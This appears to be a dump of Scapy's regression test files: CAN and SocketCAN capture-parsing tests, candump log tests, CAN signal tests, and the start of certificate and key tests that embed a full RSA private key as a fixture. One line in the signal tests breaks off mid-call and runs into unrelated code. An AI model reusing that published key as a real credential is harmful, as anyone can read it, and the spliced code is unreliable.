\x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTo\x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x083\xf4mTw\xbe\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10*\x00\x00\x00\x003\xf4mT4\xc0\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x08\x10*\x11\x00\t\x06i\xf4mT\xb0\x88\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe5\x08\x7f\x00\x00L\x00\x00\x00\x00\x00\x00\x00i\xf4mT+\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT-\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mTS\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT\x99\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x8e\xf4mT\x86\xc4\x04\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01B\x92\xf4mT\xae\xf0\x07\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\xba\xf4mT%\xaa\x0b\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02c\xe8\xf4mT\xbc\x0f\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00#\x00b\x01asdf\xe8\xf4mT\x07\x10\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x06\x0f\xf5mT\x1c\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x00b\x01\x00\x00\x00\x00\x0f\xf5mT\xfe\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x068\xf5mT\x19\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa0\x08\x10\x00\x10\x00\x00\x008\xf5mTg\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\xc2\x08\x10\x00\x15\x00\x00\x008\xf5mT\xd8\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x088\xf5mT\x17\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa3\x00\x00\x00\x00\x00\x00\x008\xf5mT\xca\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08') packets = rdpcap(pcap_fd) = Check if parsing worked: each packet has a CAN layer all(CAN in pkt for pkt in packets) = Check if parsing worked: no packet has a Raw or Padding layer not any(Raw in pkt or Padding in pkt for pkt in packets) = Identifiers set(pkt.identifier for pkt in packets) == {0, 1474, 1602, 1825, 1843, 1858, 1891, 2020, 2021} = Flags set(pkt.flags for pkt in packets) == {0} = Data length set(pkt.length for pkt in packets) == {1, 2, 8} ############ ############ + swap-bytes functionality (for PF_CAN socket interactions) = read PCAP of a CookedLinux/SocketCAN capture (CAN standard and extended) conf.contribs['CAN']['swap-bytes'] = True pcap_fd_can_a = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00q\x00\x00\x00\x15f`Zv\xde\n\x00 \x00\x00\x00 \x00\x00\x00\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xdf\x07\x00\x00\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00') packets_can_a = rdpcap(pcap_fd_can_a) pcap_fd_can_b = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00q\x00\x00\x00\xf4i`Z\xf3\x99\x07\x00 \x00\x00\x00 \x00\x00\x00\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xf13\xdb\x98\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00') packets_can_b = rdpcap(pcap_fd_can_b) = check CAN is detected over CookedLinux (each packet has both layers) all(CAN in pkt for pkt in packets_can_a) all(CAN in pkt for pkt in packets_can_b) all(CookedLinux in pkt for pkt in packets_can_a) all(CookedLinux in pkt for pkt in packets_can_b) = Check if parsing worked: no packet has a Raw or Padding layer not any(Raw in pkt or Padding in pkt for pkt in packets) = Check byte swap for dissection packets_can_a[0].identifier == 0x7df packets_can_a[0].flags == 0x0 packets_can_b[0].identifier == 0x18db33f1 packets_can_b[0].flags == "extended" = Check byte swap-back for building raw(packets_can_a[0]) == b'\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xdf\x07\x00\x00\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00' raw(packets_can_b[0]) == b'\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xf13\xdb\x98\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00' conf.contribs['CAN']['swap-bytes'] = False = Check building CAN packet with not padded data field * check building p = CAN(flags='error', identifier=1234, data=b'') bytes(p) p = CAN(flags='error', identifier=1234, data=b'\x0a\x0b') bytes(p) * check padding handling p_too_much_data = CAN(flags='error', length=1, identifier=1234, data=b'\x01\x02') p = CAN(bytes(p_too_much_data)) p.haslayer('Padding') and p['Padding'].load == b'\x02' = Check rdcandump default * default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788''') packets = rdcandump(pcap_fd) assert len(packets) == 9 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x1F334455 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = Check rdcandump_iterable default * default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788''') packets = [x for x in CandumpReader(pcap_fd)] assert len(packets) == 9 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x1F334455 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = Check rdcandump filter * interface filter 1 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan1 123#11223344 (1539191471.503168) vcan1 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 4 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' * interface filter 2 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 4 assert packets[0].identifier == 0x123 assert packets[0].length == 4 assert packets[0].data == b'\x11\x22\x33\x44' * interface filter 3 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan1") assert len(packets) == 5 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[-1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' * interface filter 4 pcap_fd = BytesIO(b'''(1539191392.761779) vcan2 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan2 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan2 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan2 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface=["vcan1", "vcan0"]) assert len(packets) == 5 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump not log file format = interface not log file format pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44''') packets = rdcandump(pcap_fd) assert len(packets) == 8 packets[-1].show() assert packets[-1].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = interface not log file format filtered 1 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 4 assert packets[-1].identifier == 0x1F3 assert packets[2].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[2].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[2].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = interface not log file format filtered 2 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, interface=["vcan0", "vcan1"]) assert len(packets) == 6 assert packets[-1].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump count = interface not log file format filtered 2 count 1 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, interface=["vcan2"], count=2) assert len(packets) == 2 assert packets[0].identifier == 0x1F3 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[-1].length == 8 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = interface not log file format filtered 2 count 2 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, count=2) assert len(packets) == 2 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 8 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, count=5) assert len(packets) == 5 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump default extended frames id < 0x7ff = default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 00000055#1122334455667788 (1539191494.084177) vcan0 00000055#1122334455667788 (1539191494.724228) vcan0 00000055#1122334455667788 (1539191495.148182) vcan0 00000055#1122334455667788 (1539191495.563320) vcan0 00000055#1122334455667788''') packets = rdcandump(pcap_fd) assert len(packets) == 9 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x55 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = interface not log file format pcap_fd = BytesIO(b''' vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44''') packets = rdcandump(pcap_fd) assert len(packets) == 8 packets[-1].show() assert packets[-1].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x55 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' ######## ######## + CAN Signals = Test invalid fields_desc class testFrame1(SignalPacket): fields_desc = [ ByteField("sig0", 0), SignalField("sig1", default=0, start=7, size=6, fmt=">B") ] passed = False try: testFrame1(b"\xff\xff") except Scapy_Exception: passed = True assert passed = Test invalid fields_desc with ConditionalField class testFrame1(SignalPacket): fields_desc = [ ConditionalField(ByteField("sig0", 0), lambda x: True), SignalField("sig1", default=0, start=7, size=6, fmt=">B") ] passed = False try: testFrame1(b"\xff\xff") except Scapy_Exception: passed = True assert passed = Motorola byte order (Big Endian) dissect test class testFrame1(SignalPacket): fields_desc = [ SignalField("sig0", default=0, start=1, size=2, fmt=">B"), SignalField("sig1", default=0, start=7, size=6, fmt=">B"), SignalField("sig2", default=0, start=15, size=11, fmt=">B"), SignalField("sig3", default=0, start=20, size=12, fmt=">B"), SignalField("sig4", default=0, start=24, size=9, fmt=">B"), SignalField("sig7", default=0, start=47, size=10, fmt=">B"), SignalField("sig5", default=0, start=50, size=3, fmt=">B"), SignalField("sig6", default=0, start=53, size=3, fmt=">B"), SignalField("sig8", default=0, start=58, size=3, fmt=">B"), SignalField("sig9", default=0, start=61, size=3, fmt=">B"), SignalField("sig10", default=0, start=63, size=2, fmt=">B") ] pkt = testFrame1(b'\xff\xff\xff\xff\xff\xff\xff\xff') assert pkt.sig0 == 3 assert pkt.sig1 == 0x3f assert pkt.sig2 == 0x7ff assert pkt.sig3 == 0xfff assert pkt.sig4 == 0x1ff assert pkt.sig7 == 0x3ff assert pkt.sig5 == 7 assert pkt.sig6 == 7 assert pkt.sig8 == 7 assert pkt.sig9 == 7 assert pkt.sig10 == 3 pkt = testFrame1(struct.pack("= 0] lz = [x for x in li if math.isnan(x) == False and x < 0] nan = [x for x in li if math.isnan(x)] assert len(nan) >= 0 assert abs(len(gz) - len(lz)) < (testlen // 10) scapy-2.4.4/test/cert.uts000066400000000000000000001132531372370053500153230ustar00rootroot00000000000000# Cert extension - Regression Test Campaign # Try me with: # bash test/run_tests -t test/cert.uts -F ~ crypto ########### PKCS helpers ############################################### + PKCS helpers tests = PKCS os2ip basic tests pkcs_os2ip(b'\x00\x00\xff\xff') == 0xffff and pkcs_os2ip(b'\xff\xff\xff\xff\xff') == 0xffffffffff = PKCS i2osp basic tests pkcs_i2osp(0xffff, 4) == b'\x00\x00\xff\xff' and pkcs_i2osp(0xffff, 2) == b'\xff\xff' and pkcs_i2osp(0xffffeeee, 3) == b'\xff\xff\xee\xee' ########### PubKey class ############################################### + PubKey class tests = PubKey class : Importing PEM-encoded RSA public key x = PubKey(""" -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj 1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ 2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0 oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd I8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkm TL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvz AwIDAQAB -----END PUBLIC KEY----- """) x_pubNum = x.pubkey.public_numbers() type(x) is PubKeyRSA = PubKey class : Verifying PEM key format x.frmt == "PEM" = PubKey class : Importing DER-encoded RSA Key y = PubKey(b'0\x82\x01\"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0\"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01') y_pubNum = y.pubkey.public_numbers() type(y) is PubKeyRSA = PubKey class : Verifying DER key format y.frmt == "DER" = PubKey class : Checking modulus value x_pubNum.n == y_pubNum.n and x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163 = PubKey class : Checking public exponent value x_pubNum.e == y_pubNum.e and x_pubNum.e == 65537 = PubKey class : Importing PEM-encoded ECDSA public key z = PubKey(""" -----BEGIN PUBLIC KEY----- MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4 Jd5qtmDF2Zu+xrwrBRT0HBnPweDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END PUBLIC KEY----- """) type(z) is PubKeyECDSA = PubKey class : Checking curve z.pubkey.curve.name == "secp256k1" = PubKey class : Checking point value z.pubkey.public_numbers().x == 104748656174769496952370005421566518252704263000192720134585149244759951661467 = PubKeyRSA class : Generate without modulus t = PubKeyRSA() t.fill_and_store(modulus=None, pubExp=65537, modulusLen=1024) assert t.pubkey.key_size == 1024 assert t.pubkey.public_numbers().e == 65537 ########### PrivKey class ############################################### + PrivKey class tests = PrivKey class : Importing PEM-encoded RSA private key x = PrivKey(""" -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5 QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0 H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bC KIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0Gy XeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJv FaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI/1GX NMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCK vGiCEX2GesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPx Xtex4ABX5o0Cd4NfZlZjpj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXt KkDp9h1jTGGUOc189WACNoBLH0MGeVoSUfc1++RcC3cypUZ8fNP1OO6GBfv06f5o XES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3OcWv6IWdOmg2CI7MMBLJ 0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+jYdkbHb3a BYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl 3dE/ymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7 iTOUL6b4e3lQuHQnJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5u WmBllqAHZYR14DEYIdL+hdLrdvk5nYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL 3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMCgYBBwCUCF8rkDEWa/ximKo8a oNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsuG4/Nm/RBV1OY uNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi KgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23Qx UBU0rYDxoKTdFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBG pUJHeDK+0748OcPUSPaG+pVIETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6 AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Qg2S+SgLE+F1U4Xws2rqAuSvIiuT5 i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx0iljob6uFyhpl1xg W3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI -----END RSA PRIVATE KEY----- """) x_privNum = x.key.private_numbers() x_pubNum = x.pubkey.public_numbers() type(x) is PrivKeyRSA = PrivKey class : Checking public attributes assert(x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) x_pubNum.e == 65537 = PrivKey class : Checking private attributes assert(x_privNum.p == 140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969) assert(x_privNum.q == 136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027) assert(x_privNum.dmp1 == 46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369) assert(x_privNum.dmq1 == 